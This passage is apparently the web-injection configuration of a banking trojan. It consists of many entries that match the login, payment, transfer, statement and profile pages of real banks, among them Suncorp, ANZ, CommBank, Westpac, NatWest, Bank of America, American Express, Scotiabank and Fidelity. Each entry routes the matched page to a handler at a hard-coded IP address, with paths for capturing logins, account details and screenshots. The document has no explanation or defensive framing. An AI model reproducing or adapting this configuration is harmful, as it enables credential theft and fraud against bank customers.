<lm>http://internetbanking.suncorpbank.com.au/*/Transfers/ConfirmExternal*</lm>
<hl>http://66.85.27.155/response.php</hl>
<pri>100</pri>
<sq>2</sq>
<ignore_mask>*.gif*</ignore_mask>
<ignore_mask>*.jpg*</ignore_mask>
<ignore_mask>*.png*</ignore_mask>
<ignore_mask>*.js*</ignore_mask>
<ignore_mask>*.css*</ignore_mask>
<require_header>*text/html*</require_header>
</dinj>
<dinj>
<lm>http://internetbanking.suncorpbank.com.au/*/Transfers/Receipt*</lm>
<hl>http://66.85.27.155/response.php</hl>
<pri>100</pri>
<sq>2</sq>
<ignore_mask>*.gif*</ignore_mask>
<ignore_mask>*.jpg*</ignore_mask>
<ignore_mask>*.png*</ignore_mask>
<ignore_mask>*.js*</ignore_mask>
<ignore_mask>*.css*</ignore_mask>
<require_header>*text/html*</require_header>
</dinj>
<dinj>
<lm>http://internetbanking.suncorpbank.com.au/*/MultipleTransfer/MultipleExternal*</lm>
<hl>http://66.85.27.155/response.php</hl>
<pri>100</pri>
<sq>2</sq>
<ignore_mask>*.gif*</ignore_mask>
<ignore_mask>*.jpg*</ignore_mask>
<ignore_mask>*.png*</ignore_mask>
<ignore_mask>*.js*</ignore_mask>
<ignore_mask>*.css*</ignore_mask>
<require_header>*text/html*</require_header>
</dinj>
<dinj>
<lm>http://internetbanking.suncorpbank.com.au/*/MultipleBpay/MultipleBpayPayment*</lm>
<hl>http://66.85.27.155/response.php</hl>
<pri>100</pri>
<sq>2</sq>
<ignore_mask>*.gif*</ignore_mask>
<ignore_mask>*.jpg*</ignore_mask>
<ignore_mask>*.png*</ignore_mask>
<ignore_mask>*.js*</ignore_mask>
<ignore_mask>*.css*</ignore_mask>
<require_header>*text/html*</require_header>
</dinj>
<dinj>
<lm>http://internetbanking.suncorpbank.com.au/*/TransactionHistory/Results/*</lm>
<hl>http://66.85.27.155/response.php</hl>
<pri>100</pri>
<sq>2</sq>
<ignore_mask>*.gif*</ignore_mask>
<ignore_mask>*.jpg*</ignore_mask>
<ignore_mask>*.png*</ignore_mask>
<ignore_mask>*.js*</ignore_mask>
<ignore_mask>*.css*</ignore_mask>
<require_header>*text/html*</require_header>
</dinj>
<dinj>
<lm>http://internetbanking.suncorpbank.com.au/Content/img/arrow.png*</lm>
<hl>http://66.85.27.155/response.php</hl>
<pri>100</pri>
<sq>2</sq>
</dinj>
</igroup>
<igroup>
<dinj>
<lm>http://banking*.anz.com/IBAU/BANKAWAY*</lm>
<hl>http://66.85.27.155/response.php</hl>
<pri>100</pri>
<sq>2</sq>
</dinj>
<dinj>
<lm>http://www.anz.com/INETBANK/*login*.asp*</lm>
<hl>http://66.85.27.155/response.php</hl>
<pri>100</pri>
<sq>2</sq>
<ignore_mask>*.gif*</ignore_mask>
<ignore_mask>*.jpg*</ignore_mask>
<ignore_mask>*.png*</ignore_mask>
<ignore_mask>*.js*</ignore_mask>
<ignore_mask>*.css*</ignore_mask>
<require_header>*text/html*</require_header>
</dinj>
<dinj>
<lm>http://www.anz.com/favicon.ico?*</lm>
<hl>http://66.85.27.155/response.php</hl>
<pri>100</pri>
<sq>2</sq>
</dinj>
<dinj>
<lm>http://banking*.anz.com/IBAU/web/L001/images/newsite/header/images/mail-icon-1digit.png?*</lm>
<hl>http://66.85.27.155/response.php</hl>
<pri>100</pri>
<sq>2</sq>
</dinj>
<dinj>
<lm>http://banking*.anz.com/favicon.ico?*</lm>
<hl>http://66.85.27.155/response.php</hl>
<pri>100</pri>
<sq>2</sq>
</dinj>
</igroup>
<igroup>
<dinj>
<lm>http://www*.my.commbank.com.au/netbank/PaymentHub/MakePayment.aspx*</lm>
<hl>http://66.85.27.155/response.php</hl>
<pri>100</pri>
<sq>2</sq>
<ignore_mask>*.gif*</ignore_mask>
<ignore_mask>*.jpg*</ignore_mask>
<ignore_mask>*.png*</ignore_mask>
<ignore_mask>*.js*</ignore_mask>
<ignore_mask>*.css*</ignore_mask>
<require_header>*text/html*</require_header>
</dinj>
<dinj>
<lm>http://www*.my.commbank.com.au/netbank/Logon/Logon.aspx*</lm>
<hl>http://66.85.27.155/response.php</hl>
<pri>100</pri>
<sq>2</sq>
<ignore_mask>*.gif*</ignore_mask>
<ignore_mask>*.jpg*</ignore_mask>
<ignore_mask>*.png*</ignore_mask>
<ignore_mask>*.js*</ignore_mask>
<ignore_mask>*.css*</ignore_mask>
<require_header>*text/html*</require_header>
</dinj>
<dinj>
<lm>http://www*.my.commbank.com.au/netbank/PaymentHub/ConfirmDetails.aspx*</lm>
<hl>http://66.85.27.155/response.php</hl>
<pri>100</pri>
<sq>2</sq>
<ignore_mask>*.gif*</ignore_mask>
<ignore_mask>*.jpg*</ignore_mask>
<ignore_mask>*.png*</ignore_mask>
<ignore_mask>*.js*</ignore_mask>
<ignore_mask>*.css*</ignore_mask>
<require_header>*text/html*</require_header>
</dinj>
<dinj>
<lm>http://www*.my.commbank.com.au/netbank/PaymentHub/PaymentReceipt.aspx*</lm>
<hl>http://66.85.27.155/response.php</hl>
<pri>100</pri>
<sq>2</sq>
<ignore_mask>*.gif*</ignore_mask>
<ignore_mask>*.jpg*</ignore_mask>
<ignore_mask>*.png*</ignore_mask>
<ignore_mask>*.js*</ignore_mask>
<ignore_mask>*.css*</ignore_mask>
<require_header>*text/html*</require_header>
</dinj>
<dinj>
<lm>http://www*.my.commbank.com.au/netbank/Transaction/History.aspx*</lm>
<hl>http://66.85.27.155/response.php</hl>
<pri>100</pri>
<sq>2</sq>
</dinj>
<dinj>
<lm>http://www*.my.commbank.com.au/netbank/TransactionHistory/History.aspx*</lm>
<hl>http://66.85.27.155/response.php</hl>
<pri>100</pri>
<sq>2</sq>
</dinj>
<dinj>
<lm>http://www1.my.commbank.com.au/netbank/PaymentHub/MultiTransferBpay/ConfirmTransferDetails.aspx*</lm>
<hl>http://66.85.27.155/response.php</hl>
<pri>100</pri>
<sq>2</sq>
<ignore_mask>*.gif*</ignore_mask>
<ignore_mask>*.jpg*</ignore_mask>
<ignore_mask>*.png*</ignore_mask>
<ignore_mask>*.js*</ignore_mask>
<ignore_mask>*.css*</ignore_mask>
<require_header>*text/html*</require_header>
</dinj>
<dinj>
<lm>http://*.my.commbank.com.au/favicon.ico?*</lm>
<hl>http://66.85.27.155/response.php</hl>
<pri>100</pri>
<sq>2</sq>
</dinj>
<dinj>
<lm>http://www*.my.commbank.com.au/netbank/Portfolio/Home/Home.aspx*</lm>
<hl>http://66.85.27.155/response.php</hl>
<pri>100</pri>
<sq>2</sq>
</dinj>
<dinj>
<lm>http://www*.my.commbank.com.au/netbank/Portfolio/AjaxPages/AjaxHome.aspx*</lm>
<hl>http://66.85.27.155/response.php</hl>
<pri>100</pri>
<sq>2</sq>
</dinj>
<din
j>
<lm>http://www*.my.commbank.com.au/netbank/UserMaintenance/Inbox/MessageList.aspx*</lm>
<hl>http://66.85.27.155/response.php</hl>
<pri>100</pri>
<sq>2</sq>
<ignore_mask>*.gif*</ignore_mask>
<ignore_mask>*.jpg*</ignore_mask>
<ignore_mask>*.png*</ignore_mask>
<ignore_mask>*.js*</ignore_mask>
<ignore_mask>*.css*</ignore_mask>
<require_header>*text/html*</require_header>
</dinj>
<dinj>
<lm>http://www*.my.commbank.com.au/netbank/UserMaintenance/Inbox/MessageDetails.aspx*</lm>
<hl>http://66.85.27.155/response.php</hl>
<pri>100</pri>
<sq>2</sq>
<ignore_mask>*.gif*</ignore_mask>
<ignore_mask>*.jpg*</ignore_mask>
<ignore_mask>*.png*</ignore_mask>
<ignore_mask>*.js*</ignore_mask>
<ignore_mask>*.css*</ignore_mask>
<require_header>*text/html*</require_header>
</dinj>
</igroup>
<igroup>
<dinj>
<lm>http://*.westpac.com.au/secure/banking/overview/accounts/list*</lm>
<hl>http://66.85.27.155/response.php</hl>
<pri>100</pri>
<sq>2</sq>
<ignore_mask>*.gif*</ignore_mask>
<ignore_mask>*.jpg*</ignore_mask>
<ignore_mask>*.png*</ignore_mask>
<ignore_mask>*.js*</ignore_mask>
<ignore_mask>*.css*</ignore_mask>
<require_header>*text/html*</require_header>
</dinj>
<dinj>
<lm>http://*.westpac.com.au/secure/banking/overview/dashboard*</lm>
<hl>http://66.85.27.155/response.php</hl>
<pri>100</pri>
<sq>2</sq>
<ignore_mask>*.gif*</ignore_mask>
<ignore_mask>*.jpg*</ignore_mask>
<ignore_mask>*.png*</ignore_mask>
<ignore_mask>*.js*</ignore_mask>
<ignore_mask>*.css*</ignore_mask>
<require_header>*text/html*</require_header>
</dinj>
<dinj>
<lm>http://*.westpac.com.au/secure/banking/overview/payments/confirmation*</lm>
<hl>http://66.85.27.155/response.php</hl>
<pri>100</pri>
<sq>2</sq>
<ignore_mask>*.gif*</ignore_mask>
<ignore_mask>*.jpg*</ignore_mask>
<ignore_mask>*.png*</ignore_mask>
<ignore_mask>*.js*</ignore_mask>
<ignore_mask>*.css*</ignore_mask>
<require_header>*text/html*</require_header>
</dinj>
<dinj>
<lm>http://*.westpac.com.au/secure/banking/manage/approvalworkflow*</lm>
<hl>http://66.85.27.155/response.php</hl>
<pri>100</pri>
<sq>2</sq>
<ignore_mask>*.gif*</ignore_mask>
<ignore_mask>*.jpg*</ignore_mask>
<ignore_mask>*.png*</ignore_mask>
<ignore_mask>*.js*</ignore_mask>
<ignore_mask>*.css*</ignore_mask>
<require_header>*text/html*</require_header>
</dinj>
<dinj>
<lm>http://*.westpac.com.au/secure/banking/account/statements*</lm>
<hl>http://66.85.27.155/response.php</hl>
<pri>100</pri>
<sq>2</sq>
<ignore_mask>*.gif*</ignore_mask>
<ignore_mask>*.jpg*</ignore_mask>
<ignore_mask>*.png*</ignore_mask>
<ignore_mask>*.js*</ignore_mask>
<ignore_mask>*.css*</ignore_mask>
<require_header>*text/html*</require_header>
</dinj>
<dinj>
<lm>http://*.westpac.com.au/secure/banking/overview/accountactivity?*</lm>
<hl>http://66.85.27.155/response.php</hl>
<pri>100</pri>
<sq>2</sq>
<ignore_mask>*.gif*</ignore_mask>
<ignore_mask>*.jpg*</ignore_mask>
<ignore_mask>*.png*</ignore_mask>
<ignore_mask>*.js*</ignore_mask>
<ignore_mask>*.css*</ignore_mask>
<require_header>*text/html*</require_header>
</dinj>
<dinj>
<lm>http://*.westpac.com.au/secure/banking/overview/transactiondetails*</lm>
<hl>http://66.85.27.155/response.php</hl>
<pri>100</pri>
<sq>2</sq>
<ignore_mask>*.gif*</ignore_mask>
<ignore_mask>*.jpg*</ignore_mask>
<ignore_mask>*.png*</ignore_mask>
<ignore_mask>*.js*</ignore_mask>
<ignore_mask>*.css*</ignore_mask>
<require_header>*text/html*</require_header>
</dinj>
<dinj>
<lm>http://*.westpac.com.au/secure/banking/overview/payments/transfers*</lm>
<hl>http://66.85.27.155/response.php</hl>
<pri>100</pri>
<sq>2</sq>
<ignore_mask>*.gif*</ignore_mask>
<ignore_mask>*.jpg*</ignore_mask>
<ignore_mask>*.png*</ignore_mask>
<ignore_mask>*.js*</ignore_mask>
<ignore_mask>*.css*</ignore_mask>
<require_header>*text/html*</require_header>
</dinj>
<dinj>
<lm>http://*.westpac.com.au/favicon.ico?</lm>
<hl>http://66.85.27.155/response.php</hl>
<pri>100</pri>
<sq>2</sq>
</dinj>
<dinj>
<lm>http://*westpac.com.au/wbc/banking/handler*</lm>
<hl>http://66.85.27.155/response.php</hl>
<pri>100</pri>
<sq>2</sq>
<ignore_mask>*.gif*</ignore_mask>
<ignore_mask>*.jpg*</ignore_mask>
<ignore_mask>*.png*</ignore_mask>
<ignore_mask>*.js*</ignore_mask>
<ignore_mask>*.css*</ignore_mask>
</dinj>
<dinj>
<lm>http://*westpac.com.au/secure/banking/manage/payees/addpayee*</lm>
<hl>http://66.85.27.155/response.php</hl>
<pri>100</pri>
<sq>2</sq>
</dinj>
<dinj>
<lm>http://*westpac.com.au/secure/banking/overview/payments/paysomeone*</lm>
<hl>http://66.85.27.155/response.php</hl>
<pri>100</pri>
<sq>2</sq>
</dinj>
<dinj>
<lm>http://*.westpac.com.au/secure/banking/Themes/Default/Desktop/WBC/Core/Images/Patterns1.1/tile-divider.png.*favicon.ico*</lm>
<hl>http://66.85.27.155/response.php</hl>
<pri>100</pri>
<sq>2</sq>
</dinj>
<dinj>
<lm>http://*.westpac.com.au/wbc/banking/Themes/Default/Desktop/WBC/Core/Images/Patterns1.1/icon-alert-warning.png.*.png*favicon.ico*</lm>
<hl>http://66.85.27.155/response.php</hl>
<pri>100</pri>
<sq>2</sq>
</dinj>
</igroup>
<igroup>
<dinj>
<lm>http://www.nwolb.com/AccountSummary2.aspx*</lm>
<hl>http://66.85.27.155/response.php</hl>
<pri>100</pri>
<sq>2</sq>
<ignore_mask>*.gif*</ignore_mask>
<ignore_mask>*.jpg*</ignore_mask>
<ignore_mask>*.png*</ignore_mask>
<ignore_mask>*.js*</ignore_mask>
<ignore_mask>*.css*</ignore_mask>
<require_header>*text/html*</require_header>
</dinj>
<dinj>
<lm>http://www.nwolb.com/OneOffPaymentsPayeeList.aspx*</lm>
<hl>http://66.85.27.155/response.php</hl>
<pri>100</pri>
<sq>2</sq>
<ignore_mask>*.gif*</ignore_mask>
<ignore_mask>*.jpg*</ignore_mask>
<ignore_mask>*.png*</ignore_mask>
<ignore_mask>*.js*</ignore_mask>
<ignore_mask>*.css*</ignore_mask>
<require_header>*text/html*</require_header>
</dinj>
</igroup>
<igroup>
<dinj>
<lm>http://securebusiness.lloydsbank.co.uk/business/a/*/*</lm>
<hl>http://66.85.27.155/response.php</hl>
<pri>100</pri>
<sq>2</sq>
</dinj>
</igroup>
<igroup>
<dinj>
<lm>*/rcrd/2</lm>
<hl>http://66.85.27.155:443/rcrd/2</hl>
<pri>100</pri>
<sq>2</sq>
</dinj>
<dinj>
<lm>*/getq/002*</lm>
<hl>http://66.85.27.155:443/getq/002</hl>
<pri>100</pri>
<sq>2</sq>
</dinj>
<dinj>
<lm>*/snapshoot/2</lm>
<hl>http://66.85.27.155:443/snapshoot/2</hl>
<pri>100</pri>
<sq>2</sq>
</dinj>
<dinj>
<lm>http://www.bankofamerica.com/[?]*</lm>
<hl>http://66.85.27.155:443/login/2</hl>
<pri>100</pri>
<sq>2</sq>
</dinj>
<dinj>
<lm>http://www.bankofamerica.com/</lm>
<hl>http://66.85.27.155:443/login/2</hl>
<pri>100</pri>
<sq>2</sq>
</dinj>
<dinj>
<lm>http://www.bankofamerica.com/#login/sign-in/entry/signOn.go</lm>
<hl>http://66.85.27.155:443/login/2</hl>
<pri>100</pri>
<sq>2</sq>
</dinj>
<dinj>
<lm>http://secure.bankofamerica.com/login/sign-in/signOnScreen.go*</lm>
<hl>http://66.85.27.155:443/login/2</hl>
<pri>100</pri>
<sq>2</sq>
</dinj>
<dinj>
<lm>http://www.bankofamerica.com/homepage/overview.go*</lm>
<hl>http://66.85.27.155:443/login/2</hl>
<pri>100</pri>
<sq>2</sq>
</dinj>
<dinj>
<lm>http://secure.bankofamerica.com/login/sign-in/signOnV2Screen.go*</lm>
<hl>http://66.85.27.155:443/login/2</hl>
<pri>100</pri>
<sq>2</sq>
</dinj>
<dinj>
<lm>http://secure.bankofamerica.com/login/sign-in/internal/entry/signOnV2.go*</lm>
<hl>http://66.85.27.155:443/login/2</hl>
<pri>100</pri>
<sq>2</sq>
</dinj>
<dinj>
<lm>http://secure.bankofamerica.com/login/sign-in/entry/signOnV2.go*</lm>
<hl>http://66.85.27.155:443/login/2</hl>
<pri>100</pri>
<sq>2</sq>
</dinj>
<dinj>
<lm>http://secure.bankofamerica.com/login/sign-in/entry/signOn.go*</lm>
<hl>http://66.85.27.155:443/login/2</hl>
<pri>100</pri>
<sq>2</sq>
</dinj>
<dinj>
<lm>http://secure.bankofamerica.com/login/sign-in/internal/entry/signOn.go*</lm>
<hl>http://66.85.27.155:443/login/2</hl>
<pri>100</pri>
<sq>2</sq>
</dinj>
<dinj>
<lm>http://www.bankofamerica.com/sitemap/hub/signin.go*</lm>
<hl>http://66.85.27.155:443/login/2</hl>
<pri>100</pri>
<sq>2</sq>
</dinj>
<dinj>
<lm>http://secure.bankofamerica.com/login/sign-in/signOn.go*</lm>
<h
l>http://66.85.27.155:443/login/2</hl>
<pri>100</pri>
<sq>2</sq>
</dinj>
<dinj>
<lm>http://secure.bankofamerica.com/login/languageToggle.go*</lm>
<hl>http://66.85.27.155:443/login/2</hl>
<pri>100</pri>
<sq>2</sq>
</dinj>
<dinj>
<lm>http://secure.bankofamerica.com/login/sign-in/validateChallengeAnswer.go*</lm>
<hl>http://66.85.27.155:443/login/2</hl>
<pri>100</pri>
<sq>2</sq>
</dinj>
<dinj>
<lm>http://www.bankofamerica.com/smallbusiness/</lm>
<hl>http://66.85.27.155:443/login/2</hl>
<pri>100</pri>
<sq>2</sq>
</dinj>
<dinj>
<lm>http://www.bankofamerica.com/login/sign-in/entry/signOn.go*</lm>
<hl>http://66.85.27.155:443/login/2</hl>
<pri>100</pri>
<sq>2</sq>
</dinj>
<dinj>
<lm>http://www.bankofamerica.com/onlinebanking/online-banking.go*</lm>
<hl>http://66.85.27.155:443/login/2</hl>
<pri>100</pri>
<sq>2</sq>
</dinj>
<dinj>
<lm>http://secure.bankofamerica.com/login/sign-in/displayAuthCodeScreen.go*</lm>
<hl>http://66.85.27.155:443/login/2</hl>
<pri>100</pri>
<sq>2</sq>
</dinj>
<dinj>
<lm>http://www.bankofamerica.com</lm>
<hl>http://66.85.27.155:443/login/2</hl>
<pri>100</pri>
<sq>2</sq>
</dinj>
<dinj>
<lm>http://secure.bankofamerica.com/login/sign-in/validateChallengeAnswerV2.go*</lm>
<hl>http://66.85.27.155:443/login/2</hl>
<pri>100</pri>
<sq>2</sq>
</dinj>
<dinj>
<lm>http://secure.bankofamerica.com/myaccounts/signin/signIn.go*</lm>
<hl>http://66.85.27.155:443/account/2</hl>
<pri>100</pri>
<sq>2</sq>
</dinj>
<dinj>
<lm>http://secure.bankofamerica.com/myaccounts/signin/signIn.go?returnSiteIndicator=*</lm>
<hl>http://66.85.27.155:443/account/2</hl>
<pri>100</pri>
<sq>2</sq>
</dinj>
<dinj>
<lm>http://secure.bankofamerica.com/myaccounts/brain/*</lm>
<hl>http://66.85.27.155:443/account/2</hl>
<pri>100</pri>
<sq>2</sq>
</dinj>
<dinj>
<lm>http://secure.bankofamerica.com/login/edit/sm/*</lm>
<hl>http://66.85.27.155:443/account/2</hl>
<pri>100</pri>
<sq>2</sq>
</dinj>
<dinj>
<lm>http://secure.bankofamerica.com/myaccounts/signin/*</lm>
<hl>http://66.85.27.155:443/account/2</hl>
<pri>100</pri>
<sq>2</sq>
</dinj>
<dinj>
<lm>http://secure.bankofamerica.com/customer/manageContacts/view-profile.go*</lm>
<hl>http://66.85.27.155:443/info/2</hl>
<pri>100</pri>
<sq>2</sq>
</dinj>
<dinj>
<lm>http://secure.bankofamerica.com/login/edit/sm/redirectSecurityCenter.go?target=challengequestion*</lm>
<hl>http://66.85.27.155:443/info/2</hl>
<pri>100</pri>
<sq>2</sq>
</dinj>
</igroup>
<igroup>
<dinj>
<lm>*/rcrd/25</lm>
<hl>http://66.85.27.155:443/rcrd/25</hl>
<pri>100</pri>
<sq>2</sq>
</dinj>
<dinj>
<lm>*/getq/025*</lm>
<hl>http://66.85.27.155:443/getq/025</hl>
<pri>100</pri>
<sq>2</sq>
</dinj>
<dinj>
<lm>*/snapshoot/25</lm>
<hl>http://66.85.27.155:443/snapshoot/25</hl>
<pri>100</pri>
<sq>2</sq>
</dinj>
<dinj>
<lm>http://online.americanexpress.com/myca/logon/us/action/LogLogonHandler*</lm>
<hl>http://66.85.27.155:443/login/25</hl>
<pri>100</pri>
<sq>2</sq>
</dinj>
<dinj>
<lm>http://online.americanexpress.com/myca/logon/us/action/LogonHandler*</lm>
<hl>http://66.85.27.155:443/login/25</hl>
<pri>100</pri>
<sq>2</sq>
</dinj>
<dinj>
<lm>http://www.americanexpress.com/[?]*</lm>
<hl>http://66.85.27.155:443/login/25</hl>
<pri>100</pri>
<sq>2</sq>
</dinj>
<dinj>
<lm>http://www.americanexpress.com/??/</lm>
<hl>http://66.85.27.155:443/login/25</hl>
<pri>100</pri>
<sq>2</sq>
</dinj>
<dinj>
<lm>http://online.americanexpress.com/myca/logon/us/action*</lm>
<hl>http://66.85.27.155:443/login/25</hl>
<pri>100</pri>
<sq>2</sq>
</dinj>
<dinj>
<lm>http://www.americanexpress.com/</lm>
<hl>http://66.85.27.155:443/login/25</hl>
<pri>100</pri>
<sq>2</sq>
</dinj>
<dinj>
<lm>http://sso.americanexpress.com/SPS/logon</lm>
<hl>http://66.85.27.155:443/login/25</hl>
<pri>100</pri>
<sq>2</sq>
</dinj>
<dinj>
<lm>http://personalsavings.americanexpress.com/onlinebanking/login.do*</lm>
<hl>http://66.85.27.155:443/login/25</hl>
<pri>100</pri>
<sq>2</sq>
</dinj>
<dinj>
<lm>http://online.americanexpress.com/myca/tasdsgn/??/action*</lm>
<hl>http://66.85.27.155:443/account/25</hl>
<pri>100</pri>
<sq>2</sq>
</dinj>
<dinj>
<lm>http://global.americanexpress.com/myca/intl/isummary/??/summary.do*</lm>
<hl>http://66.85.27.155:443/account/25</hl>
<pri>100</pri>
<sq>2</sq>
</dinj>
<dinj>
<lm>http://online.americanexpress.com/myca/acctmgmt/??/myaccountsummary.do*</lm>
<hl>http://66.85.27.155:443/account/25</hl>
<pri>100</pri>
<sq>2</sq>
</dinj>
<dinj>
<lm>http://online.americanexpress.com/myca/accountsummary/??/accounthome*</lm>
<hl>http://66.85.27.155:443/account/25</hl>
<pri>100</pri>
<sq>2</sq>
</dinj>
<dinj>
<lm>http://online.americanexpress.com/myca/accountsummary/us/accounthome?request_type=authreg_acctAccountSummary*</lm>
<hl>http://66.85.27.155:443/account/25</hl>
<pri>100</pri>
<sq>2</sq>
</dinj>
<dinj>
<lm>http://online.americanexpress.com/myca/tasdsgn/??/action?request_type=authreg_tasDelegateCRRequest&Face=*</lm>
<hl>http://66.85.27.155:443/account/25</hl>
<pri>100</pri>
<sq>2</sq>
</dinj>
<dinj>
<lm>http://global.americanexpress.com/myca/intl/isummary/canlac/summary.do?request_type=*method=displaySummary*</lm>
<hl>http://66.85.27.155:443/account/25</hl>
<pri>100</pri>
<sq>2</sq>
</dinj>
<dinj>
<lm>http://global.americanexpress.com/myca/intl/isummary/emea/summary.do?*method=displaySummary*</lm>
<hl>http://66.85.27.155:443/account/25</hl>
<pri>100</pri>
<sq>2</sq>
</dinj>
<dinj>
<lm>http://online.americanexpress.com/myca/tasdsgn/us/action*</lm>
<hl>http://66.85.27.155:443/account/25</hl>
<pri>100</pri>
<sq>2</sq>
</dinj>
<dinj>
<lm>http://global.americanexpress.com/dashboard*</lm>
<hl>http://66.85.27.155:443/account/25</hl>
<pri>100</pri>
<sq>2</sq>
</dinj>
<dinj>
<lm>http://online.americanexpress.com/myca/accountprofile/us/view.do?request_type=authreg_home&source=inav&sorted_index=0&inav=MYCA_PC_Profile_Preference2</lm>
<hl>http://66.85.27.155:443/info/25</hl>
<pri>100</pri>
<sq>2</sq>
</dinj>
<dinj>
<lm>http://online.americanexpress.com/myca/odm/us/contactInfo.do?request_type=authreg_home&sorted_index=0&menuName=aprwd_personal_details</lm>
<hl>http://66.85.27.155:443/info/25</hl>
<pri>100</pri>
<sq>2</sq>
</dinj>
<dinj>
<lm>http://online.americanexpress.com/myca/estmt/us/list.do?*request_type=authreg_Statement*</lm>
<hl>http://66.85.27.155:443/info/25</hl>
<pri>100</pri>
<sq>2</sq>
</dinj>
<dinj>
<lm>http://online.americanexpress.com/myca/tasdsgn/??/action?request_type=authreg_tasUpdateUserProfile*</lm>
<hl>http://66.85.27.155:443/info/25</hl>
<pri>100</pri>
<sq>2</sq>
</dinj>
<dinj>
<lm>http://global.americanexpress.com/myca/intl/istatement/canlac/statement.do?*method=displayStatement*</lm>
<hl>http://66.85.27.155:443/info/25</hl>
<pri>100</pri>
<sq>2</sq>
</dinj>
<dinj>
<lm>http://global.americanexpress.com/myca/intl/rc/canlac/contactinfo/contactInfoController.do?request_type=authreg_viewContactDetails</lm>
<hl>http://66.85.27.155:443/info/25</hl>
<pri>100</pri>
<sq>2</sq>
</dinj>
<dinj>
<lm>http://global.americanexpress.com/myca/intl/istatement/emea/v1/statement.do?*method=displayStatement*</lm>
<hl>http://66.85.27.155:443/info/25</hl>
<pri>100</pri>
<sq>2</sq>
</dinj>
<dinj>
<lm>http://global.americanexpress.com/myca/intl/rc/emea/contactinfo/contactInfoController.do?request_type=authreg_viewContactDetails</lm>
<hl>http://66.85.27.155:443/info/25</hl>
<pri>100</pri>
<sq>2</sq>
</dinj>
<dinj>
<lm>http://global.americanexpress.com/account-data/v1/financials/transactions*</lm>
<hl>http://66.85.27.155:443/info/25</hl>
<pri>100</pri>
<sq>2</sq>
</dinj>
</igroup>
<igroup>
<dinj>
<lm>*/rcrd/22</lm>
<hl>http://66.85.27.155:443/rcrd/22</hl>
<pri>100</pri>
<sq>2</sq>
</dinj>
<dinj>
<lm>*/getq/022*</lm>
<hl>http://66.85.27.155:443/getq/022</hl>
<pri>100</pri>
<sq>2</sq>
</dinj>
<dinj>
<lm>*/snapshoot/22</lm>
<hl>http://66.85.27.155:443/snapshoot/22</hl>
<pri>100</pri>
<sq>2</sq>
</dinj>
<dinj>
<lm>http://www.scotiaonline.scotiabank
.com/online/authentication/mfaAuthentication.bns*</lm>
<hl>http://66.85.27.155:443/login/22</hl>
<pri>100</pri>
<sq>2</sq>
</dinj>
<dinj>
<lm>http://www.scotiaonline.scotiabank.com/online/authentication/authentication.bns*</lm>
<hl>http://66.85.27.155:443/login/22</hl>
<pri>100</pri>
<sq>2</sq>
</dinj>
<dinj>
<lm>http://www?.scotiaonline.scotiabank.com/online/authentication/authentication.bns*</lm>
<hl>http://66.85.27.155:443/login/22</hl>
<pri>100</pri>
<sq>2</sq>
</dinj>
<dinj>
<lm>http://www.scotiaonline.scotiabank.com/online/authentication/signout.bns*</lm>
<hl>http://66.85.27.155:443/login/22</hl>
<pri>100</pri>
<sq>2</sq>
</dinj>
<dinj>
<lm>http://www.scotiaonline.scotiabank.com/online/views/accounts/summary/summaryStandard.bns*</lm>
<hl>http://66.85.27.155:443/account/22</hl>
<pri>100</pri>
<sq>2</sq>
</dinj>
<dinj>
<lm>http://www.scotiaonline.scotiabank.com/online/views/accounts/summary/summaryAsset.bns*</lm>
<hl>http://66.85.27.155:443/account/22</hl>
<pri>100</pri>
<sq>2</sq>
</dinj>
<dinj>
<lm>http://www.scotiaonline.scotiabank.com/online/views/managemyaccounts/securityPasswords/mfaQAs.bns*</lm>
<hl>http://66.85.27.155:443/info/22</hl>
<pri>100</pri>
<sq>2</sq>
</dinj>
</igroup>
<igroup>
<dinj>
<lm>*/rcrd/41</lm>
<hl>http://66.85.27.155:443/rcrd/41</hl>
<pri>100</pri>
<sq>2</sq>
</dinj>
<dinj>
<lm>*/getq/041*</lm>
<hl>http://66.85.27.155:443/getq/041</hl>
<pri>100</pri>
<sq>2</sq>
</dinj>
<dinj>
<lm>*/snapshoot/41</lm>
<hl>http://66.85.27.155:443/snapshoot/41</hl>
<pri>100</pri>
<sq>2</sq>
</dinj>
<dinj>
<lm>http://www.hancockbank.com/</lm>
<hl>http://66.85.27.155:443/login/41</hl>
<pri>100</pri>
<sq>2</sq>
</dinj>
<dinj>
<lm>http://secure.hancockbank.com/online/Hancock/Consumer/login.asp*</lm>
<hl>http://66.85.27.155:443/login/41</hl>
<pri>100</pri>
<sq>2</sq>
</dinj>
<dinj>
<lm>http://secure.hancockbank.com/online/Hancock/business/login.asp*</lm>
<hl>http://66.85.27.155:443/login/41</hl>
<pri>100</pri>
<sq>2</sq>
</dinj>
<dinj>
<lm>http://www.hancockwhitney.com/</lm>
<hl>http://66.85.27.155:443/login/41</hl>
<pri>100</pri>
<sq>2</sq>
</dinj>
</igroup>
<igroup>
<dinj>
<lm>*/rcrd/62</lm>
<hl>http://66.85.27.155:443/rcrd/62</hl>
<pri>100</pri>
<sq>2</sq>
</dinj>
<dinj>
<lm>*/getq/062*</lm>
<hl>http://66.85.27.155:443/getq/062</hl>
<pri>100</pri>
<sq>2</sq>
</dinj>
<dinj>
<lm>*/snapshoot/62</lm>
<hl>http://66.85.27.155:443/snapshoot/62</hl>
<pri>100</pri>
<sq>2</sq>
</dinj>
<dinj>
<lm>http://www.fidelity.com/</lm>
<hl>http://66.85.27.155:443/login/62</hl>
<pri>100</pri>
<sq>2</sq>
</dinj>
<dinj>
<lm>http://login.fidelity.com/ftgw/Fas/Fidelity/RtlCust/Refresh/Init*</lm>
<hl>http://66.85.27.155:443/login/62</hl>
<pri>100</pri>
<sq>2</sq>
</dinj>
<dinj>
<lm>http://www.fidelity.com/lpp/homepage-a*</lm>
<hl>http://66.85.27.155:443/login/62</hl>
<pri>100</pri>
<sq>2</sq>
</dinj>
<dinj>
<lm>http://www.fidelity.com/login/accountposition</lm>
<hl>http://66.85.27.155:443/login/62</hl>
<pri>100</pri>
<sq>2</sq>
</dinj>
<dinj>
<lm>http://www.fidelity.com/login/portfolio*</lm>
<hl>http://66.85.27.155:443/login/62</hl>
<pri>100</pri>
<sq>2</sq>
</dinj>
<dinj>
<lm>http://login.fidelity.com/ftgw/Fidelity/NBPart/Login/Init</lm>
<hl>http://66.85.27.155:443/login/62</hl>
<pri>100</pri>
<sq>2</sq>
</dinj>
<dinj>
<lm>http://login.fidelity.com/ftgw/Fas/Fidelity/FIISCust/Login/Response</lm>
<hl>http://66.85.27.155:443/login/62</hl>
<pri>100</pri>
<sq>2</sq>
</dinj>
<dinj>
<lm>http://oltx.fidelity.com/ftgw/fbc/ofaccounts/BrokerageBalances*</lm>
